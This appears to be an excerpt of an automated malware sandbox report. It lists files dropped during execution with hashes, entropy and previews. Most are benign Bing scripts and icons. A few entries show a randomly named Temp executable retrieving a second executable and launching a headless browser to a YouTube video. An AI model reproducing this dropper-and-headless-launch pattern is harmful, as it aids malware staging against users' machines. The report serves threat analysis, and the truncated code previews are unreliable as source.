Preview:	<!DOCTYPE html><html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript" nonce="DYszFiVcwSUlgCMCJ3/rH8Sst+Y8nGrqpj/mRgrAWvw=" >//<![CDATA[..si_ST=new Date..// </script><head> pc--><title>--headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY - Search</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><meta name="referrer" content="origin-when-cross-origin" /><meta name="SystemEntropyOriginTrialToken" content="A1L3tx5CzccqjN3lK6st/fXMwhf9EeokCPf8XCt0DVI8JPbg37BWq0zKvlqgkdm8YEUbthoGkC/xdR1+iIz4txAAAABxeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiTXNVc2VyQWdlbnRMYXVuY2hOYXZUeXBlIiwiZXhwaXJ5IjoxNzM5NzI0MzExLCJpc1N1YmRvbWFpbiI6dHJ1ZX0=" http-equiv="origin-trial" /><meta property="og:description" content="Intelligent search from Bing makes it easier to quickly find what you.re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\weTZhMT4W5x_tgtmsDnFQb89lPY[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1580), with no line terminators
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.0552055236738624
Encrypted:	false
SSDEEP:	24:CFIaycqwxXvP6D0oagJXOd9TFlk2g8y7t/agPeC2RWgRWK5RWtYFGNKlZxvNGb30:5apDEDM8P2wgwK5wtnwlnNGbBpfGbVjN
MD5:	56AFA9B2C4EAD188D1DD95650816419B
SHA1:	C1E4D984C4F85B9C7FB60B66B039C541BF3D94F6
SHA-256:	E830AEB6BC4602A3D61E678B1C22A8C5E01B9FB9A66406051D56493CC3087B4B
SHA-512:	D97432E68AFDAA2CFAEFF497C2FF70208BD328713F169380D5AFB5D5EECD29E183A79BEC99664DBEE13FD19FE21EBAE7396315AC77A196BFB0AB855507F3DACF
Malicious:	false
Preview:	var Lib;(function(n){var t;(function(n){function u(n,t){var r,i;if(t==null\|\|n==null)throw new TypeError("Null element passed to Lib.CssClass");if(n.indexOf)return n.indexOf(t);for(r=n.length,i=0;i<r;i++)if(n[i]===t)return i;return-1}function f(n,u){if(n==null)throw new TypeError("Null element passed to Lib.CssClass. add className:"+u);if(!r(n,u))if(i&&n.classList)n.classList.add(u);else{var f=t(n)+" "+u;o(n,f)}}function e(n,f){var e,s,h;if(n==null)throw new TypeError("Null element passed to Lib.CssClass. remove className:"+f);r(n,f)&&(i&&n.classList?n.classList.remove(f):(e=t(n).split(" "),s=u(e,f),s>=0&&e.splice(s,1),h=e.join(" "),o(n,h)))}function s(n,t){if(n==null)throw new TypeError("Null element passed to Lib.CssClass. toggle className:"+t);i&&n.classList?n.classList.toggle(t):r(n,t)?e(n,t):f(n,t)}function r(n,r){var f,e;if(n==null)throw new TypeError("Null element passed to Lib.CssClass. contains className:"+r);return i&&n.classList?n.classList.contains(r):(f=t(n),f)?(e=f.split("

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2NNJBOURscmq4VZboQzNBFyUAzM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (888), with no line terminators
Category:	dropped
Size (bytes):	888
Entropy (8bit):	5.1970220185324045
Encrypted:	false
SSDEEP:	24:2QiCUrgtI/QHnUrtrRIRJ7ea/TwH4Mnbx+yGow0N:SK44AIb/7QUH0N
MD5:	F1CF1909716CE3DA53172898BB780024
SHA1:	D8D34904E511B1C9AAE1565BA10CCD045C940333
SHA-256:	9ABAC0CBFA6F89106B66CD4F698EAD5CCBF615ECF8CD7E9E88567A7C33CFEC01
SHA-512:	8B641E93405565B4A57C051EDEFC8E02D6C929DDD4C52F9BFBD19C57896AA40426BF5ED6760DBD479719561C4F0A25BFC4102F0F49D3D308035C9CA90B1D0FCE
Malicious:	false
Preview:	(function(){function f(){var u=o(),i,t,f;if(u)for(i=s(u),t=0;t<i.length;t++)f=i[t].id.replace(n,""),Log&&Log.Log&&Log.Log("Info",r,f,!1,"Text",t.toString()),sj_be(i[t],"mousedown",e)}function e(t){var r=i(t.target),f;r!=null&&(f=r.id.replace(n,""),Log&&Log.Log&&Log.Log("Info",u,f))}function i(t){if(t!=null){var r=t.id;return r!=null&&r.indexOf(n)===0?t:i(t.parentElement)}return null}function o(){var n=_d.querySelectorAll(".b_scopebar > ul");return n&&n.length>0?n[0]:null}function s(i){for(var r,o,u=[],e=i.children,f=0;f<e.length;f++)r=e[f].id,r!=null&&r!==t&&r.indexOf(n)===0?u.push(e[f]):r!=null&&r===t&&(o=h(),u.push.apply(u,o));return u}function h(){var n=_d.querySelectorAll(".b_scopebar #b-scopeListItem-menu .b_sp_over_menu .b_scopebar_item");return Array.prototype.slice.call(n)}var n="b-scopeListItem-",t=n+"menu",r="DynScopeRank",u="DynScopeClick";sj_evt.bind("onP1",f)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\9IaydF5GN9iBQi04x3gMBBYYFoo[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (674), with no line terminators
Category:	dropped
Size (bytes):	674
Entropy (8bit):	5.239693493116514
Encrypted:	false
SSDEEP:	12:GyX+fnReu8VliHMtm5vXuMp4CWhneMNqOgqpsRWc9mMCDBMw0n:GS4Reu+kSkNCnvVgqSRWzAn
MD5:	8D078E26C28E9C85885F8A362CB80DB9
SHA1:	F486B2745E4637D881422D38C7780C041618168A
SHA-256:	0BF9F3AD9CDBBC4D37C8B9E22DD06CC26EEA12A27EF6C0F95DB6CBE930177461
SHA-512:	B808A972CD44E6BDA01AC1F8D904D5A281F33B9238B8CAAB03DECB6ADB6B494B19DD9BB35E3D1EA3CA914FF4957155F6D2CB5A9B3A00C2195F80F52804FFB244
Malicious:	false
Preview:	var LinksColorOnMD;(function(n){function i(n){while(n&&n.nodeName!=="A")n=n.parentElement;return n}function o(n){if(n.button===0&&!n.ctrlKey&&!n.shiftKey){var f=i(sj_et(n));f&&(Lib.CssClass.add(f,t),r[f.href]=sb_st(function(){u(f)},5e3))}}function u(n){Lib.CssClass.remove(n,t)}function s(n){h(n);var r=i(sj_et(n));r&&Lib.CssClass.remove(r,t)}function h(n){var t=i(sj_et(n)),f;t&&(f=r[t.href],f&&sb_ct(f),e&&u(t))}function f(){for(var n,i=_d.getElementsByTagName("A"),t=0;t<i.length;t++)(n=i[t],n)&&(sj_be(n,"mousedown",o),sj_be(n,"click",s))}var t="b_LinksColorMD",r={},e=sj_cook&&sj_cook.get("SRCHHPGUSR","NEWWND")==="1";n.bind=f;f()})(LinksColorOnMD\|\|(LinksColorOnMD={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FdV4c_-YGVxX40_HeKzMQcIRcuc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1725), with no line terminators
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	5.274895734185393
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8A47n0dvZ1fj5O7Rv75gZcODcv/Kum65X9gFiO5yV94GVvwCQO:7Lps4YJOVuK2KG65tggZV5
MD5:	2EF3074238B080B648E9A10429D67405
SHA1:	15D57873FF98195C57E34FC778ACCC41C21172E7
SHA-256:	E90558EB19208AD73F0DE1CD9839D0317594BF23DA0514F51272BF27183F01DA
SHA-512:	C1D7074A0EBF5968B468F98FC4C0C7829999E402DD91C617E679EEB46C873DC04096CBF9277E115FC42C97516A6C11A9F16AFA571E00F0D826BEB463E2D1F7B0
Malicious:	false
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var c;u=u\|\|r;var o=_ge("id_rh"),e=_ge("rh_animcrcl"),l=_ge("id_rc");if(o&&l&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var a=800,v=r-n,s=Math.min(100,100(r/u)),h=e&&s>=100&&n<u,y=v>0,p=Date.now();s>=100&&Lib.CssClass.add(o,"rh_reedm");e&&Lib.CssClass.add(e,"anim");c=function(u){if(u){var k=Date.now(),w=k-p,b=Math.min(w/a,1),d=h?tb:ts/100,g=y?Math.min(Math.floor((n+bv)/f)*f,r):r,l=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",d.toString()+","+t.toString());u.innerText=g.toString();(h\|\|y)&&(w<a?i(function(){return c(u)}):(u.i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\JxCc1B9rHyCEyBtdN16oEeUaxWc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2014), with no line terminators
Category:	dropped
Size (bytes):	2016
Entropy (8bit):	5.3161096027675105
Encrypted:	false
SSDEEP:	48:bnXL8sjfZ/Fslrgj3rzIRlK0KqoLi7XSOLFTt+jCz1T9XNZTs3Gan/An0:bnoshqlMQRlZTolKOEXNZsWan/An0
MD5:	D807DBBB6EE3A78027DC7075E0B593FF
SHA1:	27109CD41F6B1F2084C81B5D375EA811E51AC567
SHA-256:	0ACDCE370092C141B0C6617ED6E2163F04BB9B93D3213B62C2BC7A46FE0243C7
SHA-512:	E037DFC31D595B459660FE7D938EEDB4F43D208D247174EE8D6FD0D125F211142CD73497E4601893CECB6F565B7E2E7815CE416D72BB95504D3F277E4E806D11
Malicious:	false
Preview:	var SerpKeyboardNavigation;(function(){function c(){h=_d.activeElement;n=null;u=null;e=!1;t=-1;nt();u=_w.NavSelector&&NavSelector(!1)}function p(){v();n=null}function w(i){var e,h,o;i&&(e=_d.activeElement,h=s&&e&&e.className&&e.className.indexOf("feedback-binded")!==-1,i.keyCode==r.Tab&&s&&(f("TOP"),s=!1),u&&e&&e.className!=="b_searchbox"&&!h&&(i.keyCode==r.Enter?(n=null,f(t==-1?"EN":"EE",t)):b(i)&&(o=k(i.keyCode),o!==-1&&o!==t&&(tt(o),sj_pd(i)))))}function f(n,t){sj_log("CI.SerpKeyboardNav",n,t?t.toString():"")}function b(t){var i,r=(i=_d.querySelector("#b_sydConvCont cib-serp"))===null\|\|i===void 0?void 0:i.getAttribute("mode");return n\|\|h==_d.activeElement?t.altKey\|\|t.ctrlKey?!1:r&&["conversation","notebook"].includes(r)?!1:!0:!1}function k(n){if(n===r.Tab)return d();if(n===r.Down\|\|n===r.Up){var t=document.activeElement;return t&&(t.tagName.toLowerCase()==="select"\|\|t.tagName.toLowerCase()==="input")?-1:g(n===r.Down)}return-1}function d(){var i=-1;return n?(v(),e=!0,t=-1,f("TO")):(i=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\KC_nX2_tPPyFvVw1RK20Yu1FyDk[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\KjCBfzuZ475zX0-Fu2bdXt9qifQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\MPNL9M7I.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.469999278451778
Encrypted:	false
SSDEEP:	3:N8DSLUxGTKSEIY/nN7n:2OLUxGF5YN
MD5:	7C9CDF67554CFF98AF8B1D1F0BD074A1
SHA1:	282F53D7915D8666E164CF9EBD54D67E081C9CCD
SHA-256:	1DE23C52A9785F1C164EDB5FB6452034099ECC5E444882CC533F60575EE0B282
SHA-512:	9E369D74CFBC6ADEE24983ACF5B59326D620EB590FAFA60888667D7B63449A096357396FB0676F9CBF976A078E6FD07F2EA7C370A89CC246831A2BDBFA72864E
Malicious:	false
Preview:	https://www.youtube.com/watch?v=wjIuS_rQQsY

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\Nkeeei[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	117248
Entropy (8bit):	6.333836706006904
Encrypted:	false
SSDEEP:	3072:CC9B/Kew7ujs3qleSQZ8Tn0RvFQv/Vh2iwqx4QFQ:CCT/c93qEu0MnFQ
MD5:	E10B81593D71C9C094F3D9D97C65F237
SHA1:	C873F28DA64112FDC499CF3F54E62EBCD3037B8D
SHA-256:	3CB59D3C3117F1659C6CF6EA87A2A0FE5549190F2342F8985042736D9212CB30
SHA-512:	26F5629FB69944CA5C4298BA1743DF0CB89B5230160FE0D396EC6734D59B7440ECCC964DE24A82CD8CFAAB84F89E8C5A5C5D5555B27CD7DAB55853C485217787
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.,.~.B.~.B.~.B.5.A.t.B.5.G..B.oA.h.B.oF.l.B.oG.Q.B.5.F.k.B.5.C.u.B.~.C..B..K.}.B......B..@...B.Rich~.B.........PE..L.....ng...........................s.......@....@.......................................@....................................x...............................4...8...p...........................x...@............@..p............................text....).......*.................. ..`.rdata..dx...@...z..................@..@.data...4...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\NnFHhz2jL6yzChtIhaB5IIVKY5k[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\OUGU-N0FiScxTUHgZZYbR2CE9yQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2683), with no line terminators
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	5.285209446790883
Encrypted:	false
SSDEEP:	48:5sksi0wg1S0h195DlYt/5ZS/wAtKciZIgDa4V8ahff/Z/92zBDZDNJC0x0M:yk1g1zbed3SBkdZ9ZGVFNJCRM
MD5:	FB797698EF041DD693AEE90FB9C13C7E
SHA1:	394194F8DD058927314D41E065961B476084F724
SHA-256:	795E9290718EB62A1FB00646DC738F6A6B715B1171DD54A3D2DEFA013A74F3DA
SHA-512:	E03C4AB727567BE95B349B971E29CFFB3890CFB1A1DDF997B34B9D69154294A00A5112F4FFCA4DF4E26BBF96AFA75E5943E965EDC8F8E21035ED2EF30B7688D8
Malicious:	false
Preview:	var IPv6Tests;(function(n){function c(t){var r,c,o,l,f,s,i,a,v;try{if(y(),t==null\|\|t.length==0)return;if(r=sj_cook.get(n.ipv6testcookie,n.ipv6testcrumb),r!=null&&r=="1"&&!u)return;if(c=sj_cook.get(n.ipv6testcookie,n.iptypecrumb),r!=null&&c&&u&&(o=Number(r),l=(new Date).getTime(),!window.isNaN(o)&&o>l))return;if(f=_d.getElementsByTagName("head")[0],!f)return;if(s="ipV6TestScript"+t,i=sj_ce("script",s),i.type="text/javascript",i.async=!0,i.onerror=function(){Log.Log("ipv6test","IPv6Test Dom_ "+t,"IPv6TestError",!1,"Error","JSONP call resulted in error.")},a=_ge(s),a&&f)return;f.insertBefore(i,f.firstChild);i.setAttribute("src",_w.location.protocol+"//"+t+".bing.com/ipv6test/test");e&&p();v=u?(new Date).getTime()+h:"1";sj_cook.set(n.ipv6testcookie,n.ipv6testcrumb,v.toString(),!1)}catch(w){Log.Log("ipv6test","Dom_ "+t,"IPv6TestError",!1,"Error","Failed to make JSONP call. Exception - "+w.message)}}function l(t){if(!t){Log.Log("ipv6test","IPv6TestResponseError","IPv6TestError",!1,"Error","G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\QtZcquNOunoFE0KySXJmXmH6auI[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	dropped
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\UYtUYDcn1oZlFG-YfBPz59zejYI[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\VMYMrXeSZyOXW5LQn-ede-_1jZk[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (924), with no line terminators
Category:	dropped
Size (bytes):	924
Entropy (8bit):	5.195012633286773
Encrypted:	false
SSDEEP:	24:rVnoyfEzPHQFvG99rynERM93YGxSN+/sKE3p5vyNAM:rVnoyCkKgnCM9eBKE55vyj
MD5:	47442E8D5838BAAA640A856F98E40DC6
SHA1:	54C60CAD77926723975B92D09FE79D7BEFF58D99
SHA-256:	15ED1579BCCF1571A7D8B888226E9FE455ACA5628684419D1A18F7CDA68AF89E
SHA-512:	87C849283248BAF779FAAB7BDE1077A39274DA88BEA3A6F8E1513CB8DCD24A8C465BF431AEE9D655B4E4802E62564D020F0BB1271FB331074D2EC62FC8D08F63
Malicious:	false
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))};(function(){function n(n){for(var r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i]}function u(n,t){for(var u=[],r=2;r<arguments.length;r++)u[r-2]=arguments[r];typeof Log!="undefined"&&Log&&Log.Log&&Log.Log.apply(Log,__spreadArray([i,n,t,!1],u,!1))}var t="acclink",i="acclink";if(sj_evt){sj_evt.bind("acclink:updated",function(t){if(t&&t.length>=2){var i=t[1],f=i.IsTenantAllowAccountLink,e=i.HasLinkedAccount;n("fire loadIdLinkIcon with acclink:updated ",t[1]);r(f,e);u("loadIdLinkIcon","load IdLinkIcon","params",t[1])}},1);function r(t,i){var r=_ge("id_linkicon");r&&(t&&i?(r.style.display="inline-block",n("show id link icon")):(r.style.display="none",n("hide id link icon")))}}})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\VzJCCN2zqegKvTNGYH1xLJmcLlA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (8674), with no line terminators
Category:	dropped
Size (bytes):	8674
Entropy (8bit):	5.212727429542033
Encrypted:	false
SSDEEP:	192:a4/1MfRZ4V9bmVKnhHKBEs9F3kBlVD+mxHpfuq:ac1MfRkHpiEs9dkBfDLJfuq
MD5:	1C0981AC86E2EA5B7F08F34548AF3280
SHA1:	57324208DDB3A9E80ABD3346607D712C999C2E50
SHA-256:	00FF3483D93259AEDB929A9FEE4454A623830B18A08F08781AC1961C1E98774A
SHA-512:	0F7185A8579D9BF1B89623BF126C58789010C76F7E279A3F44064C78B2E3E04BB0A89394E6BE185618071153BC872E43A69211255F3470E1120E51AB0D5F2329
Malicious:	false
